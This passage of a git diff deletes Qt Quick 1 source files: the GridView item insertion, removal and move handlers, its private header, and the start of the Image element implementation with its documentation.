int i = d->visibleItems.count() - 1; - while (i > 0 && d->visibleItems.at(i)->index == -1) - --i; - if (d->visibleItems.at(i)->index + 1 == modelIndex) { - // Special case of appending an item to the model. - index = d->visibleIndex + d->visibleItems.count(); - } else { - if (modelIndex <= d->visibleIndex) { - // Insert before visible items - d->visibleIndex += count; - for (int i = 0; i < d->visibleItems.count(); ++i) { - FxGridItem1 *listItem = d->visibleItems.at(i); - if (listItem->index != -1 && listItem->index >= modelIndex) - listItem->index += count; - } - } - if (d->currentIndex >= modelIndex) { - // adjust current item index - d->currentIndex += count; - if (d->currentItem) - d->currentItem->index = d->currentIndex; - emit currentIndexChanged(); - } - d->scheduleLayout(); - d->itemCount += count; - emit countChanged(); - return; - } - } - - int insertCount = count; - if (index < d->visibleIndex && d->visibleItems.count()) { - insertCount -= d->visibleIndex - index; - index = d->visibleIndex; - modelIndex = d->visibleIndex; - } - - qreal tempPos = d->isRightToLeftTopToBottom() ? -d->position()-d->size()+d->width()+1 : d->position(); - int to = d->buffer+tempPos+d->size()-1; - int colPos = 0; - int rowPos = 0; - if (d->visibleItems.count()) { - index -= d->visibleIndex; - if (index < d->visibleItems.count()) { - colPos = d->visibleItems.at(index)->colPos(); - rowPos = d->visibleItems.at(index)->rowPos(); - } else { - // appending items to visible list - colPos = d->visibleItems.at(index-1)->colPos() + d->colSize(); - rowPos = d->visibleItems.at(index-1)->rowPos(); - if (colPos > d->colSize() * (d->columns-1)) { - colPos = 0; - rowPos += d->rowSize(); - } - } - } else if (d->itemCount == 0 && d->header) { - rowPos = d->headerSize(); - } - - // Update the indexes of the following visible items. - for (int i = 0; i < d->visibleItems.count(); ++i) { - FxGridItem1 *listItem = d->visibleItems.at(i); - if (listItem->index != -1 && listItem->index >= modelIndex) - listItem->index += count; - } - - bool addedVisible = false; - QList added; - int i = 0; - while (i < insertCount && rowPos <= to + d->rowSize()*(d->columns - (colPos/d->colSize()))/qreal(d->columns)) { - if (!addedVisible) { - d->scheduleLayout(); - addedVisible = true; - } - FxGridItem1 *item = d->createItem(modelIndex + i); - d->visibleItems.insert(index, item); - item->setPosition(colPos, rowPos); - added.append(item); - colPos += d->colSize(); - if (colPos > d->colSize() * (d->columns-1)) { - colPos = 0; - rowPos += d->rowSize(); - } - ++index; - ++i; - } - if (i < insertCount) { - // We didn't insert all our new items, which means anything - // beyond the current index is not visible - remove it. - while (d->visibleItems.count() > index) { - d->releaseItem(d->visibleItems.takeLast()); - } - } - - // update visibleIndex - d->visibleIndex = 0; - for (QList::Iterator it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) { - if ((*it)->index != -1) { - d->visibleIndex = (*it)->index; - break; - } - } - - if (d->itemCount && d->currentIndex >= modelIndex) { - // adjust current item index - d->currentIndex += count; - if (d->currentItem) { - d->currentItem->index = d->currentIndex; - d->currentItem->setPosition(d->colPosAt(d->currentIndex), d->rowPosAt(d->currentIndex)); - } - emit currentIndexChanged(); - } else if (d->itemCount == 0 && (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared))) { - setCurrentIndex(0); - } - - // everything is in order now - emit add() signal - for (int j = 0; j < added.count(); ++j) - added.at(j)->attached->emitAdd(); - - d->itemCount += count; - emit countChanged(); -} - -void QDeclarative1GridView::itemsRemoved(int modelIndex, int count) -{ - Q_D(QDeclarative1GridView); - if (!isComponentComplete() || !d->model || !d->model->isValid()) - return; - - d->itemCount -= count; - bool currentRemoved = d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count; - bool removedVisible = false; - - // Remove the items from the visible list, skipping anything already marked for removal - QList::Iterator it = d->visibleItems.begin(); - while (it != d->visibleItems.end()) { - FxGridItem1 *item = *it; - if (item->index == -1 || item->index < modelIndex) { - // already removed, or before removed items - if (item->index < modelIndex && !removedVisible) { - d->scheduleLayout(); - removedVisible = true; - } - ++it; - } else if (item->index >= modelIndex + count) { - // after removed items - item->index -= count; - ++it; - } else { - // removed item - if (!removedVisible) { - d->scheduleLayout(); - removedVisible = true; - } - item->attached->emitRemove(); - if (item->attached->delayRemove()) { - item->index = -1; - connect(item->attached, SIGNAL(delayRemoveChanged()), this, SLOT(destroyRemoved()), Qt::QueuedConnection); - ++it; - } else { - it = d->visibleItems.erase(it); - d->releaseItem(item); - } - } - } - - // update visibleIndex - d->visibleIndex = 0; - for (it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) { - if ((*it)->index != -1) { - d->visibleIndex = (*it)->index; - break; - } - } - - // If we removed items before visible items a layout may be - // required to ensure item 0 is in the first column. - if (!removedVisible && modelIndex < d->visibleIndex) - d->scheduleLayout(); - - // fix current - if (d->currentIndex >= modelIndex + count) { - d->currentIndex -= count; - if (d->currentItem) - d->currentItem->index -= count; - emit currentIndexChanged(); - } else if (currentRemoved) { - // current item has been removed. - d->releaseItem(d->currentItem); - d->currentItem = 0; - d->currentIndex = -1; - if (d->itemCount) - d->updateCurrent(qMin(modelIndex, d->itemCount-1)); - else - emit currentIndexChanged(); - } - - if (removedVisible && d->visibleItems.isEmpty()) { - d->timeline.clear(); - if (d->itemCount == 0) { - d->setPosition(0); - d->updateHeader(); - d->updateFooter(); - update(); - } - } - - emit countChanged(); -} - -void QDeclarative1GridView::destroyRemoved() -{ - Q_D(QDeclarative1GridView); - for (QList::Iterator it = d->visibleItems.begin(); - it != d->visibleItems.end();) { - FxGridItem1 *listItem = *it; - if (listItem->index == -1 && listItem->attached->delayRemove() == false) { - d->releaseItem(listItem); - it = d->visibleItems.erase(it); - } else { - ++it; - } - } - - // Correct the positioning of the items - d->layout(); -} - -void QDeclarative1GridView::itemsMoved(int from, int to, int count) -{ - Q_D(QDeclarative1GridView); - if (!isComponentComplete() || !d->isValid()) - return; - QHash moved; - - FxGridItem1 *firstItem = d->firstVisibleItem(); - - QList::Iterator it = d->visibleItems.begin(); - while (it != d->visibleItems.end()) { - FxGridItem1 *item = *it; - if (item->index >= from && item->index < from + count) { - // take the items that are moving - item->index += (to-from); - moved.insert(item->index, item); - it = d->visibleItems.erase(it); - } else { - if (item->index > from && item->index != -1) { - // move everything after the moved items. - item->index -= count; - if (item->index < d->visibleIndex) - d->visibleIndex = item->index; - } - ++it; - } - } - - int remaining = count; - int endIndex = d->visibleIndex; - it = d->visibleItems.begin(); - while (it != d->visibleItems.end()) { - FxGridItem1 *item = *it; - if (remaining && item->index >= to && item->index < to + count) { - // place items in the target position, reusing any existing items - FxGridItem1 *movedItem = moved.take(item->index); - if (!movedItem) - movedItem = d->createItem(item->index); - it = d->visibleItems.insert(it, movedItem); - if (it == d->visibleItems.begin() && firstItem) - movedItem->setPosition(firstItem->colPos(), firstItem->rowPos()); - ++it; - --remaining; - } else { - if (item->index != -1) { - if (item->index >= to) { - // update everything after the moved items. - item->index += count; - } - endIndex = item->index; - } - ++it; - } - } - - // If we have moved items to the end of the visible items - // then add any existing moved items that we have - while (FxGridItem1 *item = moved.take(endIndex+1)) { - d->visibleItems.append(item); - ++endIndex; - } - - // update visibleIndex - for (it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) { - if ((*it)->index != -1) { - d->visibleIndex = (*it)->index; - break; - } - } - - // Fix current index - if (d->currentIndex >= 0 && d->currentItem) { - int oldCurrent = d->currentIndex; - d->currentIndex = d->model->indexOf(d->currentItem->item, this); - if (oldCurrent != d->currentIndex) { - d->currentItem->index = d->currentIndex; - emit currentIndexChanged(); - } - } - - // Whatever moved items remain are no longer visible items. - while (moved.count()) { - int idx = moved.begin().key(); - FxGridItem1 *item = moved.take(idx); - if (d->currentItem && item->item == d->currentItem->item) - item->setPosition(d->colPosAt(idx), d->rowPosAt(idx)); - d->releaseItem(item); - } - - d->layout(); -} - -void QDeclarative1GridView::modelReset() -{ - Q_D(QDeclarative1GridView); - d->clear(); - refill(); - d->moveReason = QDeclarative1GridViewPrivate::SetIndex; - d->updateCurrent(d->currentIndex); - if (d->highlight && d->currentItem) { - if (d->autoHighlight) - d->highlight->setPosition(d->currentItem->colPos(), d->currentItem->rowPos()); - d->updateTrackedItem(); - } - d->moveReason = QDeclarative1GridViewPrivate::Other; - - emit countChanged(); -} - -void QDeclarative1GridView::createdItem(int index, QDeclarativeItem *item) -{ - Q_D(QDeclarative1GridView); - if (d->requestedIndex != index) { - item->setParentItem(this); - d->unrequestedItems.insert(item, index); - if (d->flow == QDeclarative1GridView::LeftToRight) { - item->setPos(QPointF(d->colPosAt(index), d->rowPosAt(index))); - } else { - item->setPos(QPointF(d->rowPosAt(index), d->colPosAt(index))); - } - } -} - -void QDeclarative1GridView::destroyingItem(QDeclarativeItem *item) -{ - Q_D(QDeclarative1GridView); - d->unrequestedItems.remove(item); -} - -void QDeclarative1GridView::animStopped() -{ - Q_D(QDeclarative1GridView); - d->bufferMode = QDeclarative1GridViewPrivate::NoBuffer; - if (d->haveHighlightRange && d->highlightRange == QDeclarative1GridView::StrictlyEnforceRange) - d->updateHighlight(); -} - -void QDeclarative1GridView::refill() -{ - Q_D(QDeclarative1GridView); - if (d->isRightToLeftTopToBottom()) - d->refill(-d->position()-d->size()+1, -d->position()); - else - d->refill(d->position(), d->position()+d->size()-1); -} - - -QDeclarative1GridViewAttached *QDeclarative1GridView::qmlAttachedProperties(QObject *obj) -{ - return new QDeclarative1GridViewAttached(obj); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativegridview_p.h b/src/qtquick1/graphicsitems/qdeclarativegridview_p.h deleted file mode 100644 index e8767219f8..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativegridview_p.h +++ /dev/null @@ -1,287 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEGRIDVIEW_H -#define QDECLARATIVEGRIDVIEW_H - -#include "private/qdeclarativeflickable_p.h" -#include "QtDeclarative/private/qdeclarativeguard_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarative1VisualModel; -class QDeclarative1GridViewAttached; -class QDeclarative1GridViewPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1GridView : public QDeclarative1Flickable -{ - Q_OBJECT - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1GridView) - - Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged) - Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) - Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged) - Q_PROPERTY(QDeclarativeItem *currentItem READ currentItem NOTIFY currentIndexChanged) - Q_PROPERTY(int count READ count NOTIFY countChanged) - - Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged) - Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged) - Q_PROPERTY(bool highlightFollowsCurrentItem READ highlightFollowsCurrentItem WRITE setHighlightFollowsCurrentItem) - Q_PROPERTY(int highlightMoveDuration READ highlightMoveDuration WRITE setHighlightMoveDuration NOTIFY highlightMoveDurationChanged) - - Q_PROPERTY(qreal preferredHighlightBegin READ preferredHighlightBegin WRITE setPreferredHighlightBegin NOTIFY preferredHighlightBeginChanged RESET resetPreferredHighlightBegin) - Q_PROPERTY(qreal preferredHighlightEnd READ preferredHighlightEnd WRITE setPreferredHighlightEnd NOTIFY preferredHighlightEndChanged RESET resetPreferredHighlightEnd) - Q_PROPERTY(HighlightRangeMode highlightRangeMode READ highlightRangeMode WRITE setHighlightRangeMode NOTIFY highlightRangeModeChanged) - - Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged) - Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1) - Q_PROPERTY(Qt::LayoutDirection effectiveLayoutDirection READ effectiveLayoutDirection NOTIFY effectiveLayoutDirectionChanged REVISION 1) - Q_PROPERTY(bool keyNavigationWraps READ isWrapEnabled WRITE setWrapEnabled NOTIFY keyNavigationWrapsChanged) - Q_PROPERTY(int cacheBuffer READ cacheBuffer WRITE setCacheBuffer NOTIFY cacheBufferChanged) - Q_PROPERTY(int cellWidth READ cellWidth WRITE setCellWidth NOTIFY cellWidthChanged) - Q_PROPERTY(int cellHeight READ cellHeight WRITE setCellHeight NOTIFY cellHeightChanged) - - Q_PROPERTY(SnapMode snapMode READ snapMode WRITE setSnapMode NOTIFY snapModeChanged) - - Q_PROPERTY(QDeclarativeComponent *header READ header WRITE setHeader NOTIFY headerChanged) - Q_PROPERTY(QDeclarativeComponent *footer READ footer WRITE setFooter NOTIFY footerChanged) - - Q_ENUMS(HighlightRangeMode) - Q_ENUMS(SnapMode) - Q_ENUMS(Flow) - Q_ENUMS(PositionMode) - Q_CLASSINFO("DefaultProperty", "data") - -public: - QDeclarative1GridView(QDeclarativeItem *parent=0); - ~QDeclarative1GridView(); - - QVariant model() const; - int modelCount() const; - void setModel(const QVariant &); - - QDeclarativeComponent *delegate() const; - void setDelegate(QDeclarativeComponent *); - - int currentIndex() const; - void setCurrentIndex(int idx); - - QDeclarativeItem *currentItem(); - QDeclarativeItem *highlightItem(); - int count() const; - - QDeclarativeComponent *highlight() const; - void setHighlight(QDeclarativeComponent *highlight); - - bool highlightFollowsCurrentItem() const; - void setHighlightFollowsCurrentItem(bool); - - int highlightMoveDuration() const; - void setHighlightMoveDuration(int); - - enum HighlightRangeMode { NoHighlightRange, ApplyRange, StrictlyEnforceRange }; - HighlightRangeMode highlightRangeMode() const; - void setHighlightRangeMode(HighlightRangeMode mode); - - qreal preferredHighlightBegin() const; - void setPreferredHighlightBegin(qreal); - void resetPreferredHighlightBegin(); - - qreal preferredHighlightEnd() const; - void setPreferredHighlightEnd(qreal); - void resetPreferredHighlightEnd(); - - Qt::LayoutDirection layoutDirection() const; - void setLayoutDirection(Qt::LayoutDirection); - Qt::LayoutDirection effectiveLayoutDirection() const; - - enum Flow { LeftToRight, TopToBottom }; - Flow flow() const; - void setFlow(Flow); - - bool isWrapEnabled() const; - void setWrapEnabled(bool); - - int cacheBuffer() const; - void setCacheBuffer(int); - - int cellWidth() const; - void setCellWidth(int); - - int cellHeight() const; - void setCellHeight(int); - - enum SnapMode { NoSnap, SnapToRow, SnapOneRow }; - SnapMode snapMode() const; - void setSnapMode(SnapMode mode); - - QDeclarativeComponent *footer() const; - void setFooter(QDeclarativeComponent *); - - QDeclarativeComponent *header() const; - void setHeader(QDeclarativeComponent *); - - virtual void setContentX(qreal pos); - virtual void setContentY(qreal pos); - - enum PositionMode { Beginning, Center, End, Visible, Contain }; - - Q_INVOKABLE void positionViewAtIndex(int index, int mode); - Q_INVOKABLE int indexAt(qreal x, qreal y) const; - Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning(); - Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd(); - - static QDeclarative1GridViewAttached *qmlAttachedProperties(QObject *); - -public Q_SLOTS: - void moveCurrentIndexUp(); - void moveCurrentIndexDown(); - void moveCurrentIndexLeft(); - void moveCurrentIndexRight(); - -Q_SIGNALS: - void countChanged(); - void currentIndexChanged(); - void cellWidthChanged(); - void cellHeightChanged(); - void highlightChanged(); - void highlightItemChanged(); - void preferredHighlightBeginChanged(); - void preferredHighlightEndChanged(); - void highlightRangeModeChanged(); - void highlightMoveDurationChanged(); - void modelChanged(); - void delegateChanged(); - void flowChanged(); - Q_REVISION(1) void layoutDirectionChanged(); - Q_REVISION(1) void effectiveLayoutDirectionChanged(); - void keyNavigationWrapsChanged(); - void cacheBufferChanged(); - void snapModeChanged(); - void headerChanged(); - void footerChanged(); - -protected: - virtual bool event(QEvent *event); - virtual void viewportMoved(); - virtual qreal minYExtent() const; - virtual qreal maxYExtent() const; - virtual qreal minXExtent() const; - virtual qreal maxXExtent() const; - virtual void keyPressEvent(QKeyEvent *); - virtual void componentComplete(); - -private Q_SLOTS: - void trackedPositionChanged(); - void itemsInserted(int index, int count); - void itemsRemoved(int index, int count); - void itemsMoved(int from, int to, int count); - void modelReset(); - void destroyRemoved(); - void createdItem(int index, QDeclarativeItem *item); - void destroyingItem(QDeclarativeItem *item); - void animStopped(); - -private: - void refill(); -}; - -class QDeclarative1GridViewAttached : public QObject -{ - Q_OBJECT -public: - QDeclarative1GridViewAttached(QObject *parent) - : QObject(parent), m_view(0), m_isCurrent(false), m_delayRemove(false) {} - ~QDeclarative1GridViewAttached() {} - - Q_PROPERTY(QDeclarative1GridView *view READ view NOTIFY viewChanged) - QDeclarative1GridView *view() { return m_view; } - void setView(QDeclarative1GridView *view) { - if (view != m_view) { - m_view = view; - emit viewChanged(); - } - } - - Q_PROPERTY(bool isCurrentItem READ isCurrentItem NOTIFY currentItemChanged) - bool isCurrentItem() const { return m_isCurrent; } - void setIsCurrentItem(bool c) { - if (m_isCurrent != c) { - m_isCurrent = c; - emit currentItemChanged(); - } - } - - Q_PROPERTY(bool delayRemove READ delayRemove WRITE setDelayRemove NOTIFY delayRemoveChanged) - bool delayRemove() const { return m_delayRemove; } - void setDelayRemove(bool delay) { - if (m_delayRemove != delay) { - m_delayRemove = delay; - emit delayRemoveChanged(); - } - } - - void emitAdd() { emit add(); } - void emitRemove() { emit remove(); } - -Q_SIGNALS: - void currentItemChanged(); - void delayRemoveChanged(); - void add(); - void remove(); - void viewChanged(); - -public: - QDeclarativeGuard m_view; - bool m_isCurrent : 1; - bool m_delayRemove : 1; -}; - - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1GridView) -QML_DECLARE_TYPEINFO(QDeclarative1GridView, QML_HAS_ATTACHED_PROPERTIES) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeimage.cpp b/src/qtquick1/graphicsitems/qdeclarativeimage.cpp deleted file mode 100644 index 96bd6dd666..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeimage.cpp +++ /dev/null @@ -1,604 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeimage_p.h" -#include "QtQuick1/private/qdeclarativeimage_p_p.h" - -#include -#include - -QT_BEGIN_NAMESPACE - - - - -/*! - \qmlclass Image QDeclarative1Image - \inqmlmodule QtQuick 1 - \since QtQuick 1.0 - \ingroup qml-basic-visual-elements - \brief The Image element displays an image in a declarative user interface - \inherits Item - - The Image element is used to display images in a declarative user interface. - - The source of the image is specified as a URL using the \l source property. - Images can be supplied in any of the standard image formats supported by Qt, - including bitmap formats such as PNG and JPEG, and vector graphics formats - such as SVG. If you need to display animated images, use the \l AnimatedImage - element. - - If the \l{Item::width}{width} and \l{Item::height}{height} properties are not - specified, the Image element automatically uses the size of the loaded image. - By default, specifying the width and height of the element causes the image - to be scaled to that size. This behavior can be changed by setting the - \l fillMode property, allowing the image to be stretched and tiled instead. - - \section1 Example Usage - - The following example shows the simplest usage of the Image element. - - \snippet doc/src/snippets/qtquick1/image.qml document - - \beginfloatleft - \image declarative-qtlogo.png - \endfloat - - \clearfloat - - \section1 Performance - - By default, locally available images are loaded immediately, and the user interface - is blocked until loading is complete. If a large image is to be loaded, it may be - preferable to load the image in a low priority thread, by enabling the \l asynchronous - property. - - If the image is obtained from a network rather than a local resource, it is - automatically loaded asynchronously, and the \l progress and \l status properties - are updated as appropriate. - - Images are cached and shared internally, so if several Image elements have the same \l source, - only one copy of the image will be loaded. - - \bold Note: Images are often the greatest user of memory in QML user interfaces. It is recommended - that images which do not form part of the user interface have their - size bounded via the \l sourceSize property. This is especially important for content - that is loaded from external sources or provided by the user. - - \sa {declarative/imageelements/image}{Image example}, QDeclarativeImageProvider -*/ - -QDeclarative1Image::QDeclarative1Image(QDeclarativeItem *parent) - : QDeclarative1ImageBase(*(new QDeclarative1ImagePrivate), parent) -{ -} - -QDeclarative1Image::QDeclarative1Image(QDeclarative1ImagePrivate &dd, QDeclarativeItem *parent) - : QDeclarative1ImageBase(dd, parent) -{ -} - -QDeclarative1Image::~QDeclarative1Image() -{ -} - -QPixmap QDeclarative1Image::pixmap() const -{ - Q_D(const QDeclarative1Image); - return d->pix.pixmap(); -} - -void QDeclarative1Image::setPixmap(const QPixmap &pix) -{ - Q_D(QDeclarative1Image); - if (!d->url.isEmpty()) - return; - d->setPixmap(pix); -} - -void QDeclarative1ImagePrivate::setPixmap(const QPixmap &pixmap) -{ - Q_Q(QDeclarative1Image); - pix.setPixmap(pixmap); - - q->pixmapChange(); - status = pix.isNull() ? QDeclarative1ImageBase::Null : QDeclarative1ImageBase::Ready; - - q->update(); -} - -/*! - \qmlproperty enumeration QtQuick1::Image::fillMode - - Set this property to define what happens when the source image has a different size - than the item. - - \list - \o Image.Stretch - the image is scaled to fit - \o Image.PreserveAspectFit - the image is scaled uniformly to fit without cropping - \o Image.PreserveAspectCrop - the image is scaled uniformly to fill, cropping if necessary - \o Image.Tile - the image is duplicated horizontally and vertically - \o Image.TileVertically - the image is stretched horizontally and tiled vertically - \o Image.TileHorizontally - the image is stretched vertically and tiled horizontally - \endlist - - \table - - \row - \o \image declarative-qtlogo-stretch.png - \o Stretch (default) - \qml - Image { - width: 130; height: 100 - smooth: true - source: "qtlogo.png" - } - \endqml - - \row - \o \image declarative-qtlogo-preserveaspectfit.png - \o PreserveAspectFit - \qml - Image { - width: 130; height: 100 - fillMode: Image.PreserveAspectFit - smooth: true - source: "qtlogo.png" - } - \endqml - - \row - \o \image declarative-qtlogo-preserveaspectcrop.png - \o PreserveAspectCrop - \qml - Image { - width: 130; height: 100 - fillMode: Image.PreserveAspectCrop - smooth: true - source: "qtlogo.png" - clip: true - } - \endqml - - \row - \o \image declarative-qtlogo-tile.png - \o Tile - \qml - Image { - width: 120; height: 120 - fillMode: Image.Tile - source: "qtlogo.png" - } - \endqml - - \row - \o \image declarative-qtlogo-tilevertically.png - \o TileVertically - \qml - Image { - width: 120; height: 120 - fillMode: Image.TileVertically - smooth: true - source: "qtlogo.png" - } - \endqml - - \row - \o \image declarative-qtlogo-tilehorizontally.png - \o TileHorizontally - \qml - Image { - width: 120; height: 120 - fillMode: Image.TileHorizontally - smooth: true - source: "qtlogo.png" - } - \endqml - - \endtable - - Note that \c clip is \c false by default which means that the element might - paint outside its bounding rectangle even if the fillMode is set to \c PreserveAspectCrop. - - \sa {declarative/imageelements/image}{Image example} -*/ -QDeclarative1Image::FillMode QDeclarative1Image::fillMode() const -{ - Q_D(const QDeclarative1Image); - return d->fillMode; -} - -void QDeclarative1Image::setFillMode(FillMode mode) -{ - Q_D(QDeclarative1Image); - if (d->fillMode == mode) - return; - d->fillMode = mode; - update(); - updatePaintedGeometry(); - emit fillModeChanged(); -} - -/*! - - \qmlproperty real QtQuick1::Image::paintedWidth - \qmlproperty real QtQuick1::Image::paintedHeight - - These properties hold the size of the image that is actually painted. - In most cases it is the same as \c width and \c height, but when using a - \c fillMode \c PreserveAspectFit or \c fillMode \c PreserveAspectCrop - \c paintedWidth or \c paintedHeight can be smaller or larger than - \c width and \c height of the Image element. -*/ -qreal QDeclarative1Image::paintedWidth() const -{ - Q_D(const QDeclarative1Image); - return d->paintedWidth; -} - -qreal QDeclarative1Image::paintedHeight() const -{ - Q_D(const QDeclarative1Image); - return d->paintedHeight; -} - -/*! - \qmlproperty enumeration QtQuick1::Image::status - - This property holds the status of image loading. It can be one of: - \list - \o Image.Null - no image has been set - \o Image.Ready - the image has been loaded - \o Image.Loading - the image is currently being loaded - \o Image.Error - an error occurred while loading the image - \endlist - - Use this status to provide an update or respond to the status change in some way. - For example, you could: - - \list - \o Trigger a state change: - \qml - State { name: 'loaded'; when: image.status == Image.Ready } - \endqml - - \o Implement an \c onStatusChanged signal handler: - \qml - Image { - id: image - onStatusChanged: if (image.status == Image.Ready) console.log('Loaded') - } - \endqml - - \o Bind to the status value: - \qml - Text { text: image.status == Image.Ready ? 'Loaded' : 'Not loaded' } - \endqml - \endlist - - \sa progress -*/ - -/*! - \qmlproperty real QtQuick1::Image::progress - - This property holds the progress of image loading, from 0.0 (nothing loaded) - to 1.0 (finished). - - \sa status -*/ - -/*! - \qmlproperty bool QtQuick1::Image::smooth - - Set this property if you want the image to be smoothly filtered when scaled or - transformed. Smooth filtering gives better visual quality, but is slower. If - the image is displayed at its natural size, this property has no visual or - performance effect. - - \note Generally scaling artifacts are only visible if the image is stationary on - the screen. A common pattern when animating an image is to disable smooth - filtering at the beginning of the animation and reenable it at the conclusion. -*/ - -/*! - \qmlproperty QSize QtQuick1::Image::sourceSize - - This property holds the actual width and height of the loaded image. - - Unlike the \l {Item::}{width} and \l {Item::}{height} properties, which scale - the painting of the image, this property sets the actual number of pixels - stored for the loaded image so that large images do not use more - memory than necessary. For example, this ensures the image in memory is no - larger than 1024x1024 pixels, regardless of the Image's \l {Item::}{width} and - \l {Item::}{height} values: - - \code - Rectangle { - width: ... - height: ... - - Image { - anchors.fill: parent - source: "reallyBigImage.jpg" - sourceSize.width: 1024 - sourceSize.height: 1024 - } - } - \endcode - - If the image's actual size is larger than the sourceSize, the image is scaled down. - If only one dimension of the size is set to greater than 0, the - other dimension is set in proportion to preserve the source image's aspect ratio. - (The \l fillMode is independent of this.) - - If the source is an instrinsically scalable image (eg. SVG), this property - determines the size of the loaded image regardless of intrinsic size. - Avoid changing this property dynamically; rendering an SVG is \e slow compared - to an image. - - If the source is a non-scalable image (eg. JPEG), the loaded image will - be no greater than this property specifies. For some formats (currently only JPEG), - the whole image will never actually be loaded into memory. - - Since QtQuick 1.1 the sourceSize can be cleared to the natural size of the image - by setting sourceSize to \c undefined. - - \note \e {Changing this property dynamically causes the image source to be reloaded, - potentially even from the network, if it is not in the disk cache.} -*/ - -void QDeclarative1Image::updatePaintedGeometry() -{ - Q_D(QDeclarative1Image); - - if (d->fillMode == PreserveAspectFit) { - if (!d->pix.width() || !d->pix.height()) { - setImplicitWidth(0); - setImplicitHeight(0); - return; - } - qreal w = widthValid() ? width() : d->pix.width(); - qreal widthScale = w / qreal(d->pix.width()); - qreal h = heightValid() ? height() : d->pix.height(); - qreal heightScale = h / qreal(d->pix.height()); - if (widthScale <= heightScale) { - d->paintedWidth = w; - d->paintedHeight = widthScale * qreal(d->pix.height()); - } else if(heightScale < widthScale) { - d->paintedWidth = heightScale * qreal(d->pix.width()); - d->paintedHeight = h; - } - if (widthValid() && !heightValid()) { - setImplicitHeight(d->paintedHeight); - } else { - setImplicitHeight(d->pix.height()); - } - if (heightValid() && !widthValid()) { - setImplicitWidth(d->paintedWidth); - } else { - setImplicitWidth(d->pix.width()); - } - } else if (d->fillMode == PreserveAspectCrop) { - if (!d->pix.width() || !d->pix.height()) - return; - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); - if (widthScale < heightScale) { - widthScale = heightScale; - } else if(heightScale < widthScale) { - heightScale = widthScale; - } - - d->paintedHeight = heightScale * qreal(d->pix.height()); - d->paintedWidth = widthScale * qreal(d->pix.width()); - } else { - d->paintedWidth = width(); - d->paintedHeight = height(); - } - emit paintedGeometryChanged(); -} - -void QDeclarative1Image::geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry) -{ - QDeclarative1ImageBase::geometryChanged(newGeometry, oldGeometry); - updatePaintedGeometry(); -} - -QRectF QDeclarative1Image::boundingRect() const -{ - Q_D(const QDeclarative1Image); - QRectF boundingRect(0, 0, qMax(d->mWidth, d->paintedWidth), qMax(d->mHeight, d->paintedHeight)); - - if (d->fillMode == 